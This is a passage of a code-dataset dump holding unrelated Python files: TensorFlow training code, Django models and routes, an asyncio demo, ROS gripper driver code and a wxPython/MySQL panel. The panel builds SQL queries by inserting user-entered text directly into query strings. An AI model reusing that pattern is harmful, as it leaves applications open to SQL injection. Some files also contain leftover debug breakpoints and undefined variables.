tf.log(var) )\n\n'''\n# train the full covariance matrix instead\n'''\ndef heteroskedastic_cov_loss(p, q, nparams, eps=10):\n param_est = p[:, :nparams]\n # reshape to a matrix\n cov = tf.nn.softplus(tf.reshape(p[:,nparams:],[-1,nparams,nparams]))\n # extract the upper triangular matrix\n cov_upper = tf.matrix_band_part(cov, 0, 0)\n # enforce symmetry\n cov_sym = 0.5 * (cov_upper + tf.linalg.transpose(cov_upper))\n # determinant of covariance matrix\n cov_det = tf.linalg.det(cov_sym)\n # inverse of the covariance matrix\n cov_inv = tf.linalg.inv(cov_sym)\n # eigen values\n cov_eig = tf.linalg.eigvalsh(cov_sym)\n\n # diff\n diff = tf.expand_dims(param_est - q, axis = -1)\n term1 = tf.squeeze(tf.matmul(tf.matmul(tf.linalg.transpose(diff), cov_inv), diff))\n loss = tf.reduce_sum( term1 + tf.log(1e-30 + tf.abs(cov_det)) - eps * tf.minimum(tf.reduce_min(cov_eig, axis=-1), 0))\n #loss = tf.reduce_sum( term1 + tf.log(1e-30 + tf.abs(cov_det)) )\n return loss, cov_sym\n\ndef train_reverse_model(config):\n\n train_files = os.path.join(\n config.base_dir,\n config.tfrecord_dir,\n config.train_tfrecords)\n val_files = os.path.join(\n config.base_dir,\n config.tfrecord_dir,\n config.val_tfrecords)\n\n with tf.device('/cpu:0'): \n train_labels, train_data = inputs(\n tfrecord_file=train_files,\n num_epochs=config.epochs,\n batch_size=config.train_batch,\n target_data_dims=config.param_dims,\n target_label_dims=config.output_hist_dims)\n val_labels, val_data = inputs(\n tfrecord_file=val_files,\n num_epochs=config.epochs,\n batch_size=config.val_batch,\n target_data_dims=config.param_dims,\n target_label_dims=config.output_hist_dims)\n with tf.device('/gpu:0'):\n with tf.variable_scope(\"reversemodel\") as scope:\n print (\"creating the model\")\n model = cnn_reverse_model()\n model.build(train_data, config.output_hist_dims[1:], config.param_dims[1:], train_mode=True, full_cov=config.full_cov_matrix)\n y_conv = model.output\n nparams = np.prod(config.param_dims[1:])\n\n # Define loss and optimizer\n with tf.name_scope('loss'):\n labels = tf.reshape(train_labels, [-1, nparams])\n\n #### depending on the config, use the appropriate loss\n if config.full_cov_matrix:\n hke_loss, cov_sym = heteroskedastic_cov_loss(y_conv, labels, nparams)\n else:\n hke_loss = heteroskedastic_loss(y_conv, labels, nparams)\n\n with tf.name_scope('adam_optimizer'):\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(1e-4).minimize(hke_loss)\n\n #####\n ## VALIDATION\n #####\n print(\"building a validation model\")\n scope.reuse_variables()\n val_model = cnn_reverse_model()\n val_model.build(val_data, config.output_hist_dims[1:], config.param_dims[1:], train_mode=False, full_cov=config.full_cov_matrix)\n val_res = val_model.output\n norm_val_labels = tf.reshape(val_labels, [-1,nparams])\n \n #### select loss function for the val model as well\n if config.full_cov_matrix:\n val_loss, _ = heteroskedastic_cov_loss(val_res, norm_val_labels, nparams)\n else:\n val_loss = heteroskedastic_loss(val_res, norm_val_labels, nparams)\n\n tf.summary.scalar(\"loss\", hke_loss)\n summary_op = tf.summary.merge_all()\n saver = tf.train.Saver(tf.global_variables())\n\n gpuconfig = tf.ConfigProto()\n gpuconfig.gpu_options.allow_growth = True\n gpuconfig.allow_soft_placement = True\n\n with tf.Session(config=gpuconfig) as sess:\n train_writer = tf.summary.FileWriter(os.path.join(config.base_dir,config.summary_dir,config.model_name))\n train_writer.add_graph(tf.get_default_graph())\n\n init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n sess.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n\n step = 0\n start = time.time()\n try:\n while not coord.should_stop():\n # train for a step\n if config.full_cov_matrix:\n _, loss, outputs, tr_data, tr_labels, norm_tr_labels, cov_mat = sess.run([train_step, hke_loss, y_conv, train_data, train_labels, labels, cov_sym])\n else:\n _, loss, outputs, tr_data, tr_labels, norm_tr_labels = sess.run([train_step, hke_loss, y_conv, train_data, train_labels, labels])\n\n step+=1\n if step % config.print_iters == 0:\n finish = time.time()\n print(\"step={}, loss={}, time_elapsed={} s/step\".format(step,loss,(finish-start)/float(config.print_iters)))\n start = finish\n saver.save(sess,os.path.join(\n config.model_output,\n config.model_name+'_'+str(step)+'.ckpt'\n ),global_step=step)\n if config.full_cov_matrix:\n print(cov_mat)\n\n if step % config.val_iters == 0:\n val_forward_pass_time = time.time()\n v_data, v_labels, norm_v_labels, v_res, v_loss = sess.run([val_data, val_labels, norm_val_labels, val_res, val_loss])\n\n summary_str = sess.run(summary_op)\n train_writer.add_summary(summary_str, step)\n print(\"\\t val loss = {}, time_elapsed = {}s\".format(v_loss, time.time() - val_forward_pass_time))\n '''\n nparams = np.prod(config.param_dims[1:])\n color_v = ['r', 'g', 'b', 'k', 'm', 'c', 'y']\n for k in range(nparams): \n plt.scatter(norm_v_labels[:, k], v_res[:, k], c = color_v[k], alpha=0.5); \n\n plt.pause(1);\n plt.clf()\n '''\n if config.full_cov_matrix:\n data_dump = {'predictions': outputs, 'labels': norm_tr_labels, 'cov':cov_mat}\n pickle.dump(data_dump, open( os.path.join(config.base_dir,config.summary_dir,config.model_name,'step%d.pickle'%step), 'wb'))\n \n except tf.errors.OutOfRangeError:\n print(\"Finished training for %d epochs\" % config.epochs)\n finally:\n coord.request_stop()\n coord.join(threads)\n\n\ndef test_rev_model_eval(config):\n test_files = os.path.join(\n config.base_dir,\n config.tfrecord_dir,\n config.test_tfrecords)\n\n errors = []\n data, labels, preds = [], [], []\n\n with tf.device('/cpu:0'): \n '''\n test_labels, test_data = inputs(\n tfrecord_file=test_files,\n num_epochs=1,\n batch_size=config.test_batch,\n target_data_dims=config.param_dims,\n target_label_dims=config.output_hist_dims)\n '''\n test_data = tf.placeholder(tf.float32, [1000, 1, 256, 2])\n test_labels = tf.placeholder(tf.float32, [1000, 1, 4, 1])\n\n with tf.device('/gpu:0'):\n with tf.variable_scope(\"model\") as scope:\n model = cnn_reverse_model()\n model.build(test_data, config.output_hist_dims[1:], config.param_dims[1:], train_mode=False)\n y_conv = model.output\n nparams = np.prod(config.param_dims[1:])\n labels = tf.reshape(test_labels, [-1, nparams])\n #labels = (labels - config.min_param_values)/config.param_range\n error = heteroskedastic_loss(y_conv, labels, nparams)\n\n gpuconfig = tf.ConfigProto()\n gpuconfig.gpu_options.allow_growth = True\n gpuconfig.allow_soft_placement = True\n saver = tf.train.Saver()\n\n X = pickle.load(open('../data/ddm/parameter_recovery/ddm_param_recovery_data_n_3000.pickle', 'rb'))\n with tf.Session(config=gpuconfig) as sess:\n init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n sess.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n step=0\n try:\n while not coord.should_stop():\n # load the model here\n ckpts=tf.train.latest_checkpoint(config.model_output)\n saver.restore(sess,ckpts)\n #ip , op, pred, err, norm_labels = sess.run([test_data, test_labels, y_conv, error, labels])\n pred, err, norm_labels = sess.run([y_conv,error,labels],feed_dict={test_data: np.expand_dims(X[0],axis=1),test_labels:np.expand_dims(np.expand_dims(X[1],axis=-1),axis=1)})\n plt.figure(); sc = plt.scatter(norm_labels[:,0], pred[:,0], c=pred[:,4], edgecolors='none', cmap='jet', alpha=0.5); plt.colorbar(sc);\n plt.figure(); sc = plt.scatter(norm_labels[:,1], pred[:,1], c=pred[:,5], edgecolors='none', cmap='jet', alpha=0.5); plt.colorbar(sc);\n plt.figure(); sc =plt.scatter(norm_labels[:,2], pred[:,2], c=pred[:,6], edgecolors='none', cmap='jet', alpha=0.5); plt.colorbar(sc);\n plt.figure(); sc = plt.scatter(norm_labels[:,3], pred[:,3], c=pred[:,7], edgecolors='none', cmap='jet', alpha=0.5); plt.colorbar(sc)\n plt.show()\n \n import ipdb; ipdb.set_trace()\n batch_err = np.sum(err, axis=1)\n errors.append(batch_err)\n data.append(ip)\n labels.append(op)\n preds.append(pred)\n print('{} batches complete..'.format(len(errors)))\n except tf.errors.OutOfRangeError:\n print('Epoch limit reached!')\n finally:\n coord.request_stop()\n coord.join(threads)\n import ipdb; ipdb.set_trace()\n '''\n err_vals = np.array(errors).reshape((-1,))\n plt.hist(err_vals, bins=1000)\n plt.title('Model: %s, min error=%0.3f, max error=%0.3f'%(config.model_name,np.min(err_vals), np.max(err_vals)), fontsize=12)\n plt.gca().tick_params(axis='both', which='major', labelsize=6)\n plt.gca().tick_params(axis='both', which='minor', labelsize=6)\n #import ipdb; ipdb.set_trace()\n plt.savefig(os.path.join(config.results_dir, '{}_eval.png'.format(config.model_name)), dpi=300)\n plt.close()\n\n inp_data = np.array(data)\n inp_data = inp_data.reshape((inp_data.shape[0]*inp_data.shape[1],inp_data.shape[2],inp_data.shape[3]))\n inp_labs = np.array(labels)\n inp_labs = inp_labs.reshape((inp_labs.shape[0]*inp_labs.shape[1],inp_labs.shape[2],inp_labs.shape[3]))\n idx = np.argsort(err_vals)\n net_preds = np.array(preds)\n net_preds = net_preds.reshape((net_preds.shape[0]*net_preds.shape[1],net_preds.shape[2]))\n net_preds = net_preds.reshape(inp_labs.shape)\n\n # lets draw a 3x3 grid with\n fig, ax = plt.subplots(3,3)\n for k in range(9):\n r, c = int(k/3), k%3\n cur_idx = idx[-1 * (k+1)]\n parameters = np.around(inp_data[cur_idx].flatten(),decimals=2)\n err = err_vals[cur_idx]\n ax[r,c].plot(inp_labs[cur_idx],'r',alpha=0.5)\n ax[r,c].plot(net_preds[cur_idx],'-.g',alpha=0.5)\n mystr = 'err=%0.2f'%(err)\n ax[r,c].text(0.9,.9, \"\\n\".join(wrap('{}, params:{}'.format(mystr, parameters),30)), fontsize=6, horizontalalignment='right', verticalalignment='center', transform=ax[r,c].transAxes)\n #plt.show() \n ax[r,c].tick_params(axis='both', which='major', labelsize=6)\n ax[r,c].tick_params(axis='both', which='minor', labelsize=6)\n plt.savefig(os.path.join(config.results_dir, '{}_debug.png'.format(config.model_name)),dpi=300)\n plt.close()\n '''\n","sub_path":"al-cnn/src/reverse_model.py","file_name":"reverse_model.py","file_ext":"py","file_size_in_byte":19861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"645455501","text":"from django.db import models\nfrom user.models import MyUser\nfrom django.conf import settings\n\nfrom page.models import City\n\n# Create your models here.\n\nclass Plan(models.Model):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete = models.CASCADE, related_name=\"%(app_label)s_%(class)s_user\")\n name = models.CharField(max_length = 100, null = True)\n des = models.TextField(null = True)\n image = models.ImageField(upload_to = 'media', null = True)\n time = models.DateTimeField(null = True)\n create_time = models.DateTimeField(auto_now_add = True)\n city = models.ForeignKey(City, on_delete = models.CASCADE, null = True)\n city_code = models.CharField(max_length = 100, null = True)\n address = models.CharField(max_length = 100, null = True)\n share = models.IntegerField()\n time_year = models.BooleanField(default = False)\n time_month = models.BooleanField(default = False)\n time_day = models.BooleanField(default = False)\n time_hour = models.BooleanField(default = False)\n time_minute = models.BooleanField(default = False)\n timezone = models.IntegerField(null = True)\n\nclass PlanParticipants(models.Model):\n plan = models.OneToOneField(Plan, on_delete = models.CASCADE)\n participants = models.ManyToManyField(settings.AUTH_USER_MODEL, through = 'ParticipantMoreInfo', related_name = \"%(app_label)s_%(class)s_participants\", through_fields = ('planparticipants','person'),)\n\nclass ParticipantMoreInfo(models.Model):\n person = models.ForeignKey(settings.AUTH_USER_MODEL, related_name = \"%(app_label)s_%(class)s_person\")\n planparticipants = models.ForeignKey(PlanParticipants, related_name = \"%(app_label)s_%(class)s_participants\")\n plan = models.ForeignKey(Plan, related_name = \"%(app_label)s_%(class)s_plan\")\n is_join = models.BooleanField(default = False)\n owner_invited = models.BooleanField(default = False)\n user_invited = models.BooleanField(default = False)\n time_join = models.DateTimeField(auto_now_add = True, null = True)\n\n class Meta:\n unique_together = ('person','planparticipants','plan')\n","sub_path":"plan/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230412504","text":"from django.urls import path\nfrom django.conf.urls import url, include\nfrom django.views.generic import TemplateView\n\n\nfrom . import views\n\nurlpatterns = [\n path('start', TemplateView.as_view(template_name='base/start.html')),\n path('consent', TemplateView.as_view(template_name='base/consent.html')),\n path('signin', TemplateView.as_view(template_name='base/signin.html')),\n path('createsession', views.create_session, name='create_session'),\n path('/selectsource',TemplateView.as_view(template_name='base/selectsource.html')), \n\n # instagram \n path('/instagram/accountinfo/',views.accountinfo, name='accountinfo'), \n path('/instagram/postinfo/',TemplateView.as_view(template_name='base/postinfo.html')), \n path('/instagram/postinfo/checkpost/',views.checkpost, name='checkpost'),\n path('/instagram/postinfo/addposts/',views.addposts, name='addposts'),\n path('/instagram/addtags//',views.addtags, name='addtags'), \n path('/instagram/classification/instruction/',TemplateView.as_view(template_name='base/classification_instruction.html'), name='classification_instruction'), \n path('/instagram/classification//',views.classification, name='classification'),\n path('/instagram/classification/finish/',views.finish, name='finish'), \n\n # image upload\n path('/upload/',views.BasicUploadView.as_view(), name='upload'), \n path('/upload/delete/',views.deletephoto, name='deletephoto'), \n path('/upload/getphotos/',views.getphotos, name='getphotos'), \n path('/upload/createposts/',views.createposts_upload, name='createposts_upload'), \n path('/upload/generatetags//',views.generatetags, name='generatetags'), \n path('/upload/classification/instruction/',TemplateView.as_view(template_name='base/classification_instruction.html'), name='classification_instruction'), \n path('/upload/classification//',views.classification_upload, name='classification_upload'),\n\n # end page\n path('/upload/classification/finish/',views.finish, name='finish'), \n\n # image upload from other device \n path('/otherdevice/',TemplateView.as_view(template_name='base/choosedevice.html')), \n]\n","sub_path":"tagannotator/base/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"441734132","text":"#!/usr/bin/env python3\n# __@@__ Coding:utf-8\n\n\"\"\"\n@Version: ??\n@Author: luxutao\n@Licence: Apache Licence\n@Contact: xutao.lu.cn@gmail.com\n@Site: http://www.123m.me\n@Filename: testasync.py\n@Projectname: PycharmProjects\n@Time: 2016-9-7 下午10:14\n@Platform: Xubuntu 16.04\n@Python 3.5.2\n\"\"\"\n\nimport asyncio\n\n@asyncio.coroutine\ndef hello():\n print(\"Hello world!\")\n # 异步调用asyncio.sleep(1):\n r = yield from asyncio.sleep(5)\n print(r)\n print(\"Hello again!\")\n@asyncio.coroutine\ndef heihei():\n print('hello nimei')\n yield from asyncio.sleep(5)\n# 获取EventLoop:\nloop = asyncio.get_event_loop()\ntask = [heihei(),hello()]\n# 执行coroutine\nloop.run_until_complete(asyncio.wait(task))\nloop.close()","sub_path":"asynciomodule/testasync.py","file_name":"testasync.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"317973820","text":"#!/usr/bin/env python2.7\n#@HEADER\n###############################################################################\nclass MoveCountsViewerParameters:\n \"\"\"A class to describe MoveCountsViewer parameters\n \"\"\"\n\n ###########################################################################\n def __init__(self, viewer):\n\n # Set parameters based on viewer's attribute values\n\n # Set renderer parameters\n self.renderer_background = [1, 1, 1]\n\n # Set actor_vertices parameters\n self.actor_vertices_screen_size = 50 if viewer.interactive else 5000\n self.actor_vertices_color = [0, 0, 0]\n self.actor_vertices_opacity = .3 if viewer.interactive else .5\n\n # Set actor_labels parameters\n self.actor_labels_color = [0, 0, 0]\n self.actor_labels_font_size = 16 if viewer.interactive else 150\n self.actor_edges_opacity = .5 if viewer.interactive else 1\n self.actor_edges_line_width = 2 if viewer.interactive else 15\n\n # Set actor_arrows parameters\n self.actor_arrows_edge_glyph_position = .5\n self.actor_arrows_source_scale = .075\n\n # Set actor_bar parameters\n self.actor_bar_number_of_labels = 2\n self.actor_bar_width = .2\n self.actor_bar_heigth = .08\n self.actor_bar_position = [.4, .91]\n self.actor_bar_title_color = [0, 0, 0]\n self.actor_bar_label_color = [0, 0, 0]\n\n # Set window parameters\n self.window_size_x = 600\n self.window_size_y = 600\n\n # Set wti (WindowToImageFilter) parameters\n self.wti_scale = 10\n\n###############################################################################\n","sub_path":"src/Applications/MoveCountsViewerParameters.py","file_name":"MoveCountsViewerParameters.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342169647","text":"#!/usr/bin/env python\nimport rospy\nfrom std_srvs.srv import Trigger, TriggerResponse\nfrom weiss_gripper_ieg76.srv import Move, MoveResponse, SetForce, SetForceResponse\nfrom serial_comm import SerialPortComm\nfrom driver_logic import DriverLogic\nfrom state_publisher import StatesPublisher\n\n\nclass Driver(object):\n\tdef __init__(self):\n\t\tserial_port_addr = rospy.get_param(\"~serial_port_address\", '/dev/ttyACM0')\n\t\tself.serial_port_comm = SerialPortComm(serial_port_addr, serial_timeout=0)\n\n\t\tself.driver_logic = DriverLogic(self.serial_port_comm)\n\n\t\tself.states_publisher_thread = StatesPublisher(0.8, self.serial_port_comm)\n\t\trospy.on_shutdown(self.shutdown_handler)\n\n\tdef log_reply(self, reply):\n\t\tif reply.success:\n\t\t\trospy.loginfo(reply.message)\n\t\telse:\n\t\t\trospy.logerr(reply.message)\n\n\tdef check_position(self, pos):\n\t\treturn 0 <= pos <= 30\n\n\tdef check_force(self, force):\n\t\treturn 0 <= force <= 100\n\n\tdef handle_reference(self, req):\n\t\trospy.loginfo(\"Referencing\")\n\t\treply = TriggerResponse()\n\t\tself.driver_logic.service_called(transition=\"do_reference\", params=req, trigger_response=reply)\n\t\treply.message = 'Referencing ' + reply.message\n\t\tself.log_reply(reply)\n\t\treturn reply\n\n\tdef handle_open(self, req):\n\t\trospy.loginfo(\"Opening\")\n\t\treply = MoveResponse()\n\t\tif not self.check_position(req.position):\n\t\t\treply.success = False\n\t\t\treply.message = 'Opening failed. Position must be 0.0(mm) <= position <= 30.0(mm).'\n\t\telse:\n\t\t\tself.driver_logic.service_called(transition=\"do_open\", params=req, trigger_response=reply)\n\t\t\treply.message = 'Opening ' + reply.message\n\t\tself.log_reply(reply)\n\t\treturn reply\n\n\tdef handle_close(self, req):\n\t\trospy.loginfo(\"Closing\")\n\t\treply = MoveResponse()\n\t\tif not self.check_position(req.position):\n\t\t\treply.success = False\n\t\t\treply.message = 'Closing failed. Position must be 0.0(mm) <= position <= 30.0(mm).'\n\t\telse:\n\t\t\tself.driver_logic.service_called(transition=\"do_close\", params=req, trigger_response=reply)\n\t\t\treply.message = 'Closing ' + reply.message\n\t\tself.log_reply(reply)\n\t\treturn reply\n\n\tdef handle_grasp(self, req):\n\t\trospy.loginfo(\"Grasping\")\n\t\treply = MoveResponse()\n\t\tif not self.check_position(req.position):\n\t\t\treply.success = False\n\t\t\treply.message = 'Grasping failed. Position must be 0.0(mm) <= position <= 30.0(mm).'\n\t\telse:\n\t\t\tself.driver_logic.service_called(transition=\"do_grasp\", params=req, trigger_response=reply)\n\t\t\treply.message = 'Grasping ' + reply.message\n\t\tself.log_reply(reply)\n\t\treturn reply\n\n\tdef handle_set_force(self, req):\n\t\trospy.loginfo(\"Set force\")\n\t\treply = SetForceResponse()\n\t\tif not self.check_force(req.grasping_force):\n\t\t\treply.success = False\n\t\t\treply.message = 'Force must be 0(%) <= force <= 100(%).'\n\t\telse:\n\t\t\treply.success = self.serial_port_comm.set_force(req.grasping_force)\n\t\tif reply.success:\n\t\t\treply.message = 'Set force successful.'\n\t\telse:\n\t\t\treply.message = 'Set force failed. ' + reply.message\n\t\tself.log_reply(reply)\n\t\treturn reply\n\n\tdef shutdown_handler(self):\n\t\tself.states_publisher_thread.shutdown()\n\t\tself.serial_port_comm.shutdown()\n\t\trospy.loginfo(\"Gracefully shutting down the driver...\")\n\n\tdef run(self):\n\t\tself.serial_port_comm.daemon = True\n\t\tself.states_publisher_thread.daemon = True\n\n\t\trospy.logdebug(\"Starting threads...\")\n\t\tself.serial_port_comm.start()\n\t\tself.states_publisher_thread.start()\n\t\trospy.logdebug(\"Threads started.\")\n\n\t\tgrasp_force = rospy.get_param(\"~grasping_force\", 100)\n\t\trospy.loginfo('Setting force to {}%...'.format(grasp_force))\n\t\twhile True:\n\t\t\tif self.serial_port_comm.set_force(grasp_force):\n\t\t\t\tbreak\n\t\trospy.loginfo('Force set.')\n\n\t\tserv_ref = rospy.Service('~reference', Trigger, self.handle_reference)\n\t\tserv_ref = rospy.Service('~open', Move, self.handle_open)\n\t\tserv_ref = rospy.Service('~close', Move, self.handle_close)\n\t\tserv_ref = rospy.Service('~grasp', Move, self.handle_grasp)\n\t\t# serv_ref = rospy.Service('ack', Trigger, self.handle_ack)\n\t\tserv_ref = rospy.Service('~set_force', SetForce, self.handle_set_force)\n\n\t\trospy.loginfo(\"Ready to receive requests.\")\n\n\t\trospy.spin()\n\n\nif __name__ == \"__main__\":\n\t# rospy.init_node('ieg_driver', log_level=rospy.DEBUG)\n\trospy.init_node('ieg_driver')\n\n\tdriver = Driver()\n\tdriver.run()\n","sub_path":"src/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"78826434","text":"from __future__ import absolute_import\nfrom config import config\nfrom ui.MultiSpot_Panel import MultiSpotPanelUI\nfrom __versions__ import PyVersion\nfrom utils.exceptions import Python3Error\nfrom utils.database import getDatabaseConnection\nfrom utils.database import MySQLCursorDict\nfrom utils.error_message import msgBox\nfrom mysql.connector.errors import IntegrityError\n\n\nclass MultiSpotPanel(MultiSpotPanelUI):\n \"\"\"Multi Spot Panel\"\"\"\n def __init__(self, parent):\n #TODO support for Python 3.0 and higher\n if PyVersion < 3.0:\n super(MultiSpotPanel, self).__init__(parent)\n else:\n raise Python3Error('Python Version incorrect! Expected 2.7 or '\n 'Lower')\n\n def ClearAll(self):\n \"\"\"Clears the whole Panel\"\"\"\n self.cb_Episodes.SetValue(True)\n self.cb_MultiSpot.SetValue(False)\n self.tc_multiSpotID.SetValue('')\n self.sc_search.SetValue('')\n self.lc_newList.DeleteAllItems()\n self.lc_searchList.DeleteAllItems()\n\n def setPermissions(self):\n \"\"\"Set User Permissions\"\"\"\n if config.qs_user['department'] == 'ADMIN':\n self.btn_CreateMultiSpot.Enable(True)\n self.btn_DeleteMultiSpot.Enable(True)\n self.btn_UpdateMultiSpot.Enable(True)\n elif config.qs_user['department'] == 'HOD':\n self.btn_CreateMultiSpot.Enable(True)\n self.btn_DeleteMultiSpot.Enable(False)\n self.btn_UpdateMultiSpot.Enable(True)\n elif config.qs_user['department'] == 'LIBRARY':\n self.btn_CreateMultiSpot.Enable(True)\n self.btn_DeleteMultiSpot.Enable(False)\n self.btn_UpdateMultiSpot.Enable(True)\n elif config.qs_user['department'] == 'MCR':\n self.btn_CreateMultiSpot.Enable(False)\n self.btn_DeleteMultiSpot.Enable(False)\n self.btn_UpdateMultiSpot.Enable(False)\n elif config.qs_user['department'] == 'QC':\n self.btn_CreateMultiSpot.Enable(False)\n self.btn_DeleteMultiSpot.Enable(False)\n self.btn_UpdateMultiSpot.Enable(False)\n elif config.qs_user['department'] == 'EDITORS':\n self.btn_CreateMultiSpot.Enable(True)\n self.btn_DeleteMultiSpot.Enable(False)\n self.btn_UpdateMultiSpot.Enable(True)\n else:\n msgBox('Please Login!')\n self.btn_CreateMultiSpot.Enable(False)\n self.btn_DeleteMultiSpot.Enable(False)\n self.btn_UpdateMultiSpot.Enable(False)\n\n def MultiSpot_Choice(self, event):\n \"\"\"Multi Spot Search Choicebox\"\"\"\n self.cb_Episodes.SetValue(False)\n event.Skip()\n\n def Episode_Choice(self, event):\n \"\"\"Episode Search Choicebox\"\"\"\n self.cb_MultiSpot.SetValue(False)\n event.Skip()\n\n def DoSearch(self, event):\n \"\"\"Search\"\"\"\n self.lc_searchList.DeleteAllItems()\n if self.cb_Episodes.GetValue() is True:\n sql = \"SELECT episode_id from program WHERE episode_id LIKE \" \\\n \"'%{0}%';\".format(self.sc_search.GetValue())\n connection = getDatabaseConnection()\n cursor = connection.cursor(cursor_class=MySQLCursorDict)\n cursor.execute(sql)\n results = cursor.fetchall()\n if results == []:\n msgBox(\"No Records Found!\", 'Info')\n else:\n msgBox(\"Records Found!\", 'Info')\n connection.close()\n #print '[SQL]' + sql\n for x, row in enumerate(results):\n self.lc_searchList.InsertStringItem(x, row['episode_id'])\n if self.cb_MultiSpot.GetValue() is True:\n sql = \"SELECT id from multi_spot WHERE id LIKE '%{}%';\".format(\n self.sc_search.GetValue())\n connection = getDatabaseConnection()\n cursor = connection.cursor(cursor_class=MySQLCursorDict)\n cursor.execute(sql)\n results = cursor.fetchall()\n connection.close()\n #print '[SQL]' + sql\n for x, row in enumerate(results):\n self.lc_searchList.InsertStringItem(x, row['id'])\n event.Skip()\n\n def Search_Entered(self, event):\n \"\"\"Search Text Entered\"\"\"\n searchTerm = self.sc_search.GetValue()\n if any(x for x in config.invalidChars if x in searchTerm):\n self.sc_search.Clear()\n event.Skip()\n\n def SearchListItem_Selected(self, event):\n \"\"\"List Item Selected\"\"\"\n if self.cb_Episodes.GetValue() is True:\n if self.lc_newList.GetItemCount() < 20:\n self.lc_newList.InsertStringItem(self.lc_newList.GetItemCount(),\n self.lc_searchList.GetItem(\n self.lc_searchList\n .GetFirstSelected(),\n 0).GetText())\n if self.cb_MultiSpot.GetValue() is True:\n sql = \"SELECT * from multi_spot WHERE id='{}'\".format(\n self.lc_searchList.GetItem(\n self.lc_searchList.GetFirstSelected(), 0).GetText())\n connection = getDatabaseConnection()\n cursor = connection.cursor(cursor_class=MySQLCursorDict)\n cursor.execute(sql)\n results = cursor.fetchone()\n connection.close()\n #print '[SQL]' + sql\n self.tc_multiSpotID.SetValue(results['id'])\n self.lc_newList.DeleteAllItems()\n for x in range(0, 20):\n if results['episode_id_' + str(x + 1)] is not None:\n self.lc_newList.InsertStringItem(x, results[\n 'episode_id_' + str(x + 1)])\n event.Skip()\n\n def multiSpotID_Entered(self, event):\n \"\"\"Multi Spot ID Entered\"\"\"\n episode_id = self.tc_multiSpotID.GetValue()\n if any(x for x in config.invalidChars if x in episode_id):\n self.tc_multiSpotID.Clear()\n event.Skip()\n\n def newListItem_Selected(self, event):\n \"\"\"List Item Selected\"\"\"\n self.lc_newList.DeleteItem(self.lc_newList.GetFirstSelected())\n event.Skip()\n\n def CreateMultiSpot(self, event):\n \"\"\"Create Multi Spot\"\"\"\n if self.lc_newList.GetItemCount() >= 2:\n if self.tc_multiSpotID.GetValue() != '':\n sql = \"INSERT INTO multi_spot ( id , \"\n for x in range(0, self.lc_newList.GetItemCount()):\n sql += 'episode_id_' + str(x + 1)\n if x < self.lc_newList.GetItemCount() - 1:\n sql += ' , '\n sql += \") VALUES ( '{}' ,\".format(self.tc_multiSpotID.GetValue())\n for x in range(0, self.lc_newList.GetItemCount()):\n sql += \"'{}'\".format(self.lc_newList.GetItem(x, 0).GetText())\n if x < self.lc_newList.GetItemCount() - 1:\n sql += ' , '\n sql += ');'\n connection = getDatabaseConnection()\n cursor = connection.cursor(cursor_class=MySQLCursorDict)\n cursor.execute(sql)\n connection.commit()\n msgBox(\"Multi Spot {0} Created!\".format(\n self.tc_multiSpotID.GetValue()), 'Info')\n connection.close()\n #print '[SQL]' + sql\n self.tc_multiSpotID.Clear()\n self.lc_newList.DeleteAllItems()\n else:\n msgBox(\"Less than 2 Episodes\", \"Error!\")\n event.Skip()\n\n def UpdateMultiSpot(self, event):\n \"\"\"Update Multi Spot\"\"\"\n if self.lc_newList.GetItemCount() >= 2:\n sql = \"UPDATE multi_spot SET \"\n listCount = self.lc_newList.GetItemCount()\n for x in range(1, 21):\n if x <= listCount:\n #print x\n listItem = self.lc_newList.GetItem(x-1, 0).GetText()\n sql += \"episode_id_{0} = '{1}',\".format(x, listItem)\n elif x > listCount and x < 19:\n sql += \"episode_id_{0} = {1},\".format(x, 'Null')\n if x == 20:\n sql += \"episode_id_{0} = {1}\".format(x, 'Null')\n sql += \" WHERE id='{0}';\".format(self.tc_multiSpotID.GetValue())\n connection = getDatabaseConnection()\n cursor = connection.cursor(cursor_class=MySQLCursorDict)\n cursor.execute(sql)\n connection.commit()\n msgBox(\"Multi Spot {0} Updated!\".format(self.tc_multiSpotID.GetValue()),\n 'Info')\n connection.close()\n self.tc_multiSpotID.Clear()\n self.lc_newList.DeleteAllItems()\n #print '[SQL]' + sql\n else:\n msgBox(\"Less than 2 Episodes\", \"Error!\")\n event.Skip()\n\n def DeleteMultiSpot(self, event):\n \"\"\"Delete Multi Spot\"\"\"\n if config.qs_user['department'] == 'ADMIN':\n connection = getDatabaseConnection()\n cursor = connection.cursor(cursor_class=MySQLCursorDict)\n sql = \"DELETE FROM multi_spot WHERE id='{0}';\".format(\n self.tc_multiSpotID.GetValue())\n cursor.execute(sql)\n connection.commit()\n msgBox(\"Multi Spot {0} Deleted!\".format(\n self.tc_multiSpotID.GetValue()), 'Info')\n connection.close()\n #print '[SQL]' + sql\n self.tc_multiSpotID.Clear()\n self.lc_newList.DeleteAllItems()\n self.lc_searchList.DeleteAllItems()\n event.Skip()","sub_path":"MultiSpot.py","file_name":"MultiSpot.py","file_ext":"py","file_size_in_byte":9640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"445433144","text":"\"\"\"\n给定一个包含非负整数的 m x n 